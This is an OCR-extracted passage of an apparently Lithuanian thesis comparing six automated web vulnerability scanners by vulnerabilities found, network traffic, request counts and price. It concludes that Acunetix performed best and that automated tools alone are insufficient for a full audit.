lentelé 3.8 lengvo rasto administracinio slaptaZodZio rizikos jvertinimas
CVSSv3 Rizikos jvertinimas 7.3 (auksta rizika) CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S: U/C:L/I:L/A:L

3.2.8. Pasenusi programiné jranga

Kadangi visa sudiegta web aplikacijos dalis buvo pagal tai, kokie pazeidZiamumai yra vieSai
pasiekiami internete — visi jie tur¢jo buti aptikti butent Sioje pazeidziamumo klasifikacijoje. Vienintelis
jirankis Acunetix turéjo pazeidziamumy duombaze, su kuria lygino prisijungimo duomenis.

lentelé 3.9 pasenusios programinés jrangos rizikos jvertinimas
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3.3. Irankiy palyginimas

Po atlikty testy, buvo sudaryta lentel¢je, kurioje atsispindéty skirtingos atrasty pazeidziamumy
klasés (zr. lentelé 3.10).

lentelé 3.10 testy metu pazeidziamoje svetainéje identifikuotos pazeidziamumy klasés

Burp Netsparker | Arachni W3af Vega Acunetix
XSS X X X X X
Atviro teksto protokolas X X X X
Sisteminé informacija X X
TRACE metodas X X X X
HttpOnly atributas X X X X X
Silpnas slaptazodis X

>
o

Pasenusi PI

Saugumo antrastés X X X X

VieSai pasiekiama administraciné X
aplinka

PazZeidziamas slaptazodZio <
parinkimui

Naudojamas vartotojas pagal <

nutyléjima

Siekiant jvertinti turimy jrankiy efektyvuma, pazeidziamumai taip pat buvo suskaiCiuoti
kiekybiniu poziiiriu, t.y. kiek kiekvienoje klas¢je buvo surasta pazeidziamumy.

lentelé 3.11 testy metu kiekvieno jrankio aptiktas pazeidziamumy kiekis

Burp Netsparker Arachni W3af Vega Acunetix
PaZeidZiamumai 7 12 5 1 4 28

3.3.1. ISnaudotas srautas

Atliekant audita automatiniais jrankiais, buvo skaiCiuojamas tiek iSeinanciy tiek ateinanciy
duomeny srautas (zr. pav. 3.9). Duomeny srautas buvo sekamas siekiant iSsiaiskinti ar yra koreliacija

tarp sunaudoto srauto ir rasty pazeidziamumy.
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Duomeny srautas megabaitais
3500
3000 2860
2500
2000
1500
1000
500 156 189 184 171 289
0 = - - == |

Burp NetSparker Arachni w3af vega acunetix

W Duomeny srautas megabaitais

pav. 3.9 testy metu sunaudotas duomeny srautas
Nepaisant to, kad ,,Arachni programiné jranga iSnaudojo daug didesnj srautg nei alternatyvi
programiné jranga, jos rasty pazeidziamumy kiekis néra didziausias. Srautas buvo stebimas
naudojantis tinklo stebéjimo programa WireShark. Deja tarp sunaudoty duomeny kiekio

pazeidziamumy koreliacija nebuvo pastebéta (zr. pav. 3.10).

30 3500
25 3000
= o)
= 2500 £
‘© 20
g 2000 E
= 15 -
% 1500 8

o

)g o
a 10 3
B 1000 <
3 a

> 500

0 0

Burp NetSparker Arachni W3af Vega Acunetix
Axis Title

e Rasti paZeidZiamumai  e=====Duomeny srautas

pav. 3.10 rasty pazeidziamumy ir duomeny srauto grafikas
Remiantis i$siysto srauto duomenimis (zZr. pav. 3.9) bei rasty pazeidziamumy kiekiu (Zr. lentelé
3.11) buvo paskaiciuotas sunaudoto srauto efektyvumas. Pagal identifikuota programinés jrangos
pazeidziamumy kiekj buvo skaiciuojama, kiek megabaity srauto prireiké programai identifikuoti vieng
pazeidziamumg (Zr. pav. 3.11). Pagal gautus rezultatus, efektyviausias jrankis yra komercinis

Acunetix. Tarp atviro kodo jrankiy efektyviausiai srauta iSnaudojo jrankis vega.
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700

600

500

400

300

200

100

ISnaudoto srauto efektyvumas

572
184
42.75
22.28571429 15.75 10.32142857
|| — - —
Burp NetSparker Arachni w3af vega acunetix

B Megabaity kiekis per pazeidZiamuma (maZiau - geriau)

pav. 3.11 kiekvienos programos isnaudoto srauto efektyvumas

3.3.2. ISsiystas uzklausy kiekis

Po kiekvieno testo buvo skai¢iuojamas uzklausy kiekis audituojamos svetainés jrasy zurnale.

Lenteléje (zr. pav. 3.12) pateikimai uzklausy kiekiai, kurie buvo i$siysti audito metu:

250000

200000

150000

100000

50000

Uzklausy kiekis
212050
114654
19753 20650 17995 23538
Burp NetSparker Arachni w3af vega acunetix

MW Uzklausy kiekis

pav. 3.12 issiysty uzklausy kiekis

Kaip ir galima buvo tikétis, pagal duomeny srauto grafikg (zr. pav. 3.9) Arachni testy metu

i$siunté daugiausiai uzklausy testuojamai svetainei (Zr. pav. 3.12). Deja, kaip ir pries tai buvusiu atveju,

i8siystas uzklausy kiekis praktiSkai nekoreliuoja j atrasty pazeidziamumy kiekj (Zr. pav. 3.13).
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30 250000

25 —
E 200000 #
s =

wv)
© 20 =~
S v
S 150000 =
£ 2
N 10 3
° ~
9 100000 N
3 10 @
= 7
S >
o 5 50000 .3

0 0
Burp NetSparker Arachni W3af Vega Acunetix
Axis Title

== Rasti paZeidZiamumai  e====Duomeny srautas

pav. 3.13 rasty pazeidziamumy ir issiysty uzklausy grafikas
Remiantis i$siysty uzklausy duomenimis (Zr. pav. 3.12) bei rasty pazeidziamumy kiekiu (Zr.
lentelé 3.11) buvo paskaiciuotas iSsiysty uzklausy efektyvumas. Pagal identifikuotg programinés
jrangos pazeidziamumy kiekj buvo skaiCiuojama, kiek iSsiysty uzklausy prireiké programai
identifikuoti vieng pazeidZziamumg (zr. pav. 3.14). Pagal gautus rezultatus, efektyviausias jrankis yra

komercinis Netsparker. Tarp atviro kodo jrankiy efektyviausiai uzklausas siunté jrankis vega.

ISsiysty uzklausy efektyvumas
45000 42410
40000
35000
30000
25000

20000 17995

15000
10000
°884.5 4094.785714
5000 — 2821.857143 .
1720.833333 .
0 I — -

Burp NetSparker Arachni w3af vega acunetix

W Uzklausy kiekis per paZzeidZiamuma (maziau - geriau)

pav. 3.14 issiysty uzklausy efektyvumas
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3.3.3. Produkto kaina

Siekiant iSsiaiskinti ar produkto kaina turi jtakos atrastam pazeidzamumy kiekiui buvo pastebéta
koreliacija (zr. pav. 3.15). Nemokami atviro kodo jrankiai rado maziausiai pazeidziamumy,

komerciniy jrankiy atrasti pazeidziamumai koreliavo kartu su kaina.

30 2500

25 —
= 2000 £
s 2
- (%)
‘© 20 =
IS @
S 1500 X
= Z
215 3
T x>
9 1000 Y
3 10 ”
< . 500 2

0 0

Burp NetSparker Arachni W3af Vega Acunetix
Axis Title

e Rasti paZeidZiamumai e Kaina

pav. 3.15 kainos ir atrasty pazeidziamumy grafikas
Komerciniy jrankiy efektyvumas pagal kaing buvo skai¢iuotas siekiant iSsiaiSkinti kokia vieno
atrasto Siame audite pazeidZiamumo kaina pagal metine jrankio kaing (zr. pav. 3.16). Pagal gautus

rezultatus, kainos efektyvumas geriausias buvo iSgautas jrankio Burp.

ISsiysty uzklausy efektyvumas

160 147.6666667
140
120
100
81
80
60 47
40

20

Burp NetSparker acunetix

M eury kiekis per pazeidZziamuma (maziau - geriau)

pav. 3.16 jrankio kainos efektyvumas
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3.4. ISvados

Visy auditavimo jrankiy veikimo principas buvo labai panaSus. Programa siysdavo uzklausg j
server], gaudavo atsakymg ir analizuodavo. Pirmiausia programa mégindavo atkurti svetainés medj,
tam kad identifikuoty visas potencialias pazeidziamumy vietas. Kiekviename gautame atsakyme buvo
ieSkoma viety, kuriose vartotojas gali jvesti duomenis, ir vél §ie duomenys buvo siun¢iami serveriui.
Siunciant jvairiai sumodeliuotas uzklausas programiné jranga mégino identifikuoti pazeidziamumus.
Daugiausiai rezultaty parodé komercinis jrankis Acunetix.

Pagrindiné priezastis lémusi Sio jrankio didelj pazeidziamumy suradima yra tai, jog buvo
naudojama surinkta vieSai pateikty pazeidziamumy duombazé. Siekiant optimizuoti patj svetainés
kiirimo procesa, produktai ar jskiepiai kurie jau yra rinkoje néra kuriami i§ naujo. Vietoje to,
koncentruojamasi j kliento poreikius, ir visy jskiepiy ar priedy sujungimg tarpusavyje. Tie patys
jskiepiai ar paraSytos programinio kodo bibliotekos yra pernaudojamos jvairiausio tipo svetainése.

Galimybé patikrinti turinio valdymo sistemos naudojamas senas bibliotekas ar jskiepius Zenkliai
padidina tikimybe surasti pazeidZziamumus komponentuose, j kuriuos néra jokiy nuorody svetainés
dalyje, kurioje narSo neautentifikuotas vartotojas. Identifikavimas visy pazeidziamy komponenty
zenkliai sumazina tikimybe, jog svetainé bus nulauzta automatinio internetu plintancio viruso.

Nepaisant to, kad Acunetix jrankis iSsiunt¢ daugiausiai uzklausy, jo sunaudotas srautas nebuvo
didziausias. Tai greiCiausiai jvyko todél, kad dalis srauto buvo skirta ne paciy pazeidziamumy
testavimui, taciau saityno programos komponenty identifikavimui. UZzklausy kiekis buvo didesnis,
taciau identifikuotos problemos buvo tikslesnés, taip pat kiekybiniu atzvilgiu radiniy kiekis buvo
didesnis.

Tarp nemokamy programy geriausius rezultatus parodé jrangis Vega. Deja né vienas i$ atviro
kodo jrankiy pavieSinty pazeidziamumy duombazés nenaudojo. Tarp komerciniy jrankiy
pazeidziamumy duombazés privalumu pasizyméjo NetSparker ir Acunetix.

Isvados trumpai:

e Efektyviausias srauto atzvilgiu ir daugiausiai pazeidziamumy radgs jrankis —
Acunetix

o Komponenty ir jskiepiy paZeidziamumy duombaze¢ turéjo jrankiai Acunetix ir
Netsparker

e Neefektyviausias ir maziausiai pazeidziamumy radgs ir kurj laika nebeturéjes
jokiy atnaujinimy jrankis W3af

e Tarp atviro kodo jrankiy pagal efektyvuma pirmauja jrankis Vega

e Didziausia kiekj pazeidziamumy identifikaves jrankis rémeési paviesinty

pazeidziamumy duombaze
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e N¢ vienas jrankis savarankiskai (nesinaudojant pazeidziamumy duombaze)

nesugebéjo atrasti né pusés buvusiy pazeidziamumy

3.5. Galutiné iSvada

Deja, atliekant pilng svetainés audita vien automatiniy jrankiy nepakanka. Nors Acunetix ir
gebéjo identifikuoti pasenusig programing jranga, taip praneSdamas apie visus turinio valdymo
sistemoje esancius pazeidZziamumus, unikaliame suprogramuotame modulyje tas nebiity padéje.

Norint pasiekti geriausiy rezultaty, auditas turéty buiti atlickamas remiantis stiklinés dézés
metodika. Audituojant automatiniais ar pusiau automatiniais jrankiais remtis tik dél informacijos

papildymo.
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